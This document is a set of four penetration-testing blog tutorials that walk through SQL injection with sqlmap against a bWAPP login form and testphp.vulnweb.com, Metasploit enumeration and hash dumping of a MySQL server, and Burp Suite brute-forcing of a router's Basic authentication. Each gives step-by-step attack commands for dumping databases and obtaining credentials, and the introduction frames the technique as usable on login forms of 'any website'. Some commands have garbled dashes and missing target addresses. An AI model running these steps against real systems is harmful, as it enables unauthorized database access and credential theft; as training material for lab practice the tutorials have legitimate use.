Exploiting Form Based Sql Injection using Sqlmap

In this tutorial you will came to across how to perfrom sql injection attack on a login form of any website. There are so many example related to login form like: facebook login; gmail login; other online accounts which may ask you to submit your information as username and password and then give permission to login your account on that web server.  Here we are going to perform sql inection login form attack on a vulnerable web server application  and then fetch the information present inside their database.

Lets Begin!!!


Xampp/Wamp Server


Kali Linux: Burp suite, sqlmap tool

Firstly you need to install bWAPP lab in your XAMPP or WAMP server, read full article from here now open the bWAPP in your pc and login with following credentials:

 Let’s begin!!!

 Start service Apache and Mysql in Xampp or Wamp server. Let’s open the local host address in browser as I am using Enter user and password as bee and bug respectively.

Set security level low, from list box chooses your bug select SQL-Injection (Login form/Hero) now and click on hack.

A login form get open where it is ask to submit the credential of superhero which we don’t know. So I am going to give any random login and password like iron:man, in order to capture the request through burp suite.

To capture the request of bWAPP click on proxy tag then click to inception is on button, come back to bWAPP and now click to login. Use intercepts highlighted data within sqlmap commands.

Now open the terminal of your kali Linux and type following command for the enumeration of databases name.

sqlmap -u –data=”login=iron&password=man&form=submit” –method POST –dbs –batch

From enumeration result we get the information of the bend-end database management system is MYSQL 5.5 and web server operating system is windows with Apache 2.4.7 and PHP 5.5.9 and fetch all names of database. So if you notice image given below we have caught all name of databases. Choose any name for fetching more details.

Now type the below command which will try  to fetch entire data from inside database of bwapp

sqlmap -u –data=”login=iron&password=man&form=submit” –method POST -D bwapp –dump all –batch

First I found a table “BLOG” which contains four columns but this table appears to be empty as all fields are left blank.

Next I found table “MOVIES” in database bwapp and you can see from given screenshot it contains movies detail. There are 10 entries in each of following column.

 Luckily!!! I have got data which contains id, login, password and secret entries inside the “HEROES” table and may be this dumped data can help me to bypass the login page of the above web page which we have open in the browser. I will use the login and password later to verify it.

Here I founds only three entries for table “USERS” inside the bwapp which also contains credential for admin account.

Another empty table “VISITORS” like “blog” table, it is also left blank.

Sqlmap has dumped too much of data from inside the database of bwapp, as you have seen I have got data from different table, now let’s verify this result.  Browse bwapp in local host again and once again open the login form page inside the bwapp.

If you remembered sqlmap has dumped table of “HEROES” which contains login and password now using above fetched data (Thor: Asgard) from inside the table of “heroes” I will use these credential for login.

Now type thor in the text field given for login and then type Asgard as password. Click on login.

Congrats!!! We got successful login and you can read the secret given for thor which exactly same as inside the “heroes” table.

Conclusion: Through this article we had learn how to perform an attack on a login form of a web site and retrieve its data from inside the database.

Author: AArti Singh is a Researcher and Technical Writer at Hacking Articles an Information Security Consultant Social Media Lover and Gadgets. Contact here

Beginner Guide of mysql Penetration Testing

In this article we are going to perform penetration testing on mysql server, here we will perform attack through metasploit framework.

Attacker: kali Linux

Target: metasploitable II

 Lets Begin!! is our target IP. Firstly type NMAP command to scan the target IP to make sure whether the mysql service is running on host IP or not. Here you can see port 3306 is open for mysql service.

nmap -sV

Now start the metasploit type type following command in kali terminal


 Enumerates the version of MySQL servers.

msf > use auxiliary/scanner/mysql/mysql_version

msf auxiliary(mysql_version) > set rhosts

msf auxiliary(mysql_version) > set rport 3306

msf auxiliary(mysql_version) >expoit

 Here it had shown the version of MYSQL is 5.0.51a-3ubuntu5 and if you noticed the same result we have got from nmap version scan.

This module simply queries the MySQL instance for a specific user/pass (default is root with blank).

msf > use auxiliary/scanner/mysql/mysql_login

msf auxiliary(mysql_login) > set rhosts

msf auxiliary(mysql_login) > set rport 3306

msf auxiliary(mysql_login) > set user_file /root/Desktop/users.txt

msf auxiliary(mysql_login) > set pass_file /root/Desktop/password.txt

msf auxiliary(mysql_login) > exploit

Here we got successful result as root which does not required any password for login into mysql server.

This module allows for simple enumeration of MySQL Database Server provided proper credentials to connect remotely.

msf > use auxiliary/admin/mysql/mysql_enum

msf auxiliary(mysql_enum) > set rhost

msf auxiliary(mysql_enum) > set username root

msf auxiliary(mysql_enum) > exploit

This module extracts the usernames and encrypted password hashes from a MySQL server and stores them for later cracking.

msf > use auxiliary/scanner/mysql/mysql_hashdump

msf auxiliary(mysql_hashdump) > set rhosts

msf auxiliary(mysql_hashdump) > set username root

msf auxiliary(mysql_hashdump) > exploit

Now from screenshot you can read the password given for users.

Now we have enumerated much information with the help of metasploit now let’s try to connect with MYSQL server in order to dump its data. Type following command on terminal

mysql -h -u root –p

Hit enter for password; here we got access of MYSQL server now I am going to fetch its data.

mysql> show databases;

it has shown all databases name present inside it. Let’s check the tables inside the dvwa.

mysql> show tables from dvwa;

Let’s fetch the data inside dvwa database; now type following command.

mysql> use dvwa;

Now we can fetch the data present inside the database dvwa.

mysql> show tables;

mysql> select * from users;

Now you can see I have got all users name with their hash password.

Try it yourself for others database details.

Author: AArti Singh is a Researcher and Technical Writer at Hacking Articles an Information Security Consultant Social Media Lover and Gadgets. Contact here

Hack the Basic HTTP Authentication using Burpsuite

In the context of a HTTP transaction, basic access authentication is a method for a HTTP user agent to provide a user name and password when making a request.

HTTP Basic authentication (BA) implementation is the simplest technique for enforcing access controls to web resources because it doesn’t require cookies, session identifiers, or login pages; rather, HTTP Basic authentication uses standard fields in the HTTP header, obviating the need for handshakes.

The BA mechanism provides no confidentiality protection for the transmitted credentials. They are merely encoded with Base64 in transit, but not encrypted or hashed in any way. HTTPS is, therefore, typically preferred used in conjunction with Basic Authentication.

For more details read from wikipedia.org

Attacker: Kali Linux

Target: TP link Router

 In this article I will perform an attack on router and try to bypass its authentication. In order to bypass user authentication page I am going to explore router IP: on browser. Here now you can see it asking for user credential to get inside the control panel of router. 

Now I had just typed the random value for authentication in order to fetch the request through burp suite. So before you sent the request to server turn on the burp suite and select proxy tab then click on intercept is on after then send the user authentication by clicking ok

Thus the sent request will be captured by burp suite which you can see in the given below image. In the screenshot I had highlight some value in the last line. Here it tells the type of authentication provided by router is basic and if you have read above theory of basic authentication I had described that it is encoded in base 64

Now time to generate the encoded value for authentication inside the burp suite. Click on action tab select send to intruder for brute attack.

Now open intruder frame and click on position. Configure the position where payload will be inserted into request. The attack type determines the way in which the payload assigned to payload position Now select the encoded value of authentication for payload position and click to ADD button on the left side of frame.

The base64 encoded value of Authentication is combination of username and password now the scenario is to generate same encoded value of authentication with help of user password dictionary Therefore I have made a dictionary which contains both user password names in text file and save it on the desktop. Later use this dictionary under burp suite through intruder as payload for brute force attack.

In order to use dictionary as payload click on payload tab under intruder; now load your dictionary which contains user password names from payload options. But we want to send request in encoded value of our payload. To encode your payload click on ADD button available under payload processing

A new dialog box will generate to select the rule choose encode option from list; now select base 64 from drag down list of URL encode key character for payload processing.

This will start brute force attack and try to match string for user authentication. In screenshot you can the status and length of the highlighted value is different from rest of values. This means we can use this encoded value to bypass the user authentication which occur from request number 6. Now check the username and password of 6th line in dictionary. In dictionary I found admin: ps******** have matching authentication.

Now again open the router IP and this time type the above username and password. From screenshot you can see I have successfully login in control panel of router.

Author: AArti Singh is a Researcher and Technical Writer at Hacking Articles an Information Security Consultant Social Media Lover and Gadgets. Contact here

Exploiting Sql Injection with Nmap and Sqlmap

This article is about how to scan any target for sql injection using NMAP and then exploit the target with sqlmap if NMAP finds the target is vulnerable to sql injection. Now go with this tutorial for more details.

Firstly Type www.vulnweb.com in URL to browse acunetix web application. Then Click the link given for the URL of Acuart as shown in screenshot.

Here the required web page will get opened; testphp.vulnweb.com is our targeted host and now scans this target using nmap to identifying the possibilities of sql injection.

NMAP has NSE Script for http sql injection vulnerabilities and scan the web application for sql injection.

Spiders an HTTP server looking for URLs containing queries vulnerable to an SQL injection attack. It also extracts forms from found websites and tries to identify fields that are vulnerable.

The script spiders an HTTP server looking for URLs containing queries. It then proceeds to combine crafted SQL commands with susceptible URLs in order to obtain errors. The errors are analyzed to see if the URL is vulnerable to attack. This uses the most basic form of SQL injection but anything more complicated is better suited to a standalone tool.

We may not have access to the target web server’s true hostname, which can prevent access to virtually hosted sites.

Now type the following command to scan the target for sql injection possibilities.

nmap -sV  –script=http-sql-injection www. testphp.vulnweb.com –p 80

 From the screenshot you can perceive that it has dumped the possible sql injection for queries. Now let’s explore this query in browser.

Note: please remove http:// from resultant queries while browsing.

This page contains some message or warning related to some kind of error in database query.  Now let’s try to apply sql injection using above resultant sqli query of NMAP inside sqlmap and try to figure out whether the result from nmap is correct for sql injection vulnerability or not.

Open the terminal in kali Linux and type following command for sqlmap

sqlmap -u http://testphp.vulnweb.com/search.php?test=query%27%200R%20sqlspider –dbs –batch

We have got database name from the above resultant sqli query of NMAP inside sqlmap. You can read the database name acuart from the given screenshot.

Now try to find out entire data under this URL by typing following command.

sqlmap -u http://testphp.vulnweb.com/search.php?test=query%27%200R%20sqlspider –D acuart –dump-all

This will dump all available information inside the database. Now try it by yourself.

Author: AArti Singh is a Researcher and Technical Writer at Hacking Articles an Information Security Consultant Social Media Lover and Gadgets. Contact here

Related Posts Plugin for WordPress, Blogger...